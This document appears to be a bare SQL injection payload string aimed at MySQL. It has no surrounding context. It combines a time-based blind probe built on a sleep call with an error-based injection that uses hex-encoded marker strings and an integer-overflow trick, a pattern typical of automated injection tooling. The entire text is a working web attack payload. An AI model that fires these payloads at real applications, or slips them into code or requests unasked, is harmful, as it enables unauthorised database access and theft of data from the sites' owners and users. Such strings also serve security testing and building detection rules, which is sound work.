(select(0)from(select(sleep(8.11)))v)/||(SELECT 0x4c706b55 FROM DUAL WHERE 2831=2831 AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x71717a6b71,(SELECT (ELT(3444=3444,1))),0x717a7a6a71,0x78))s), 8446744073709551610, 8446744073709551610))))||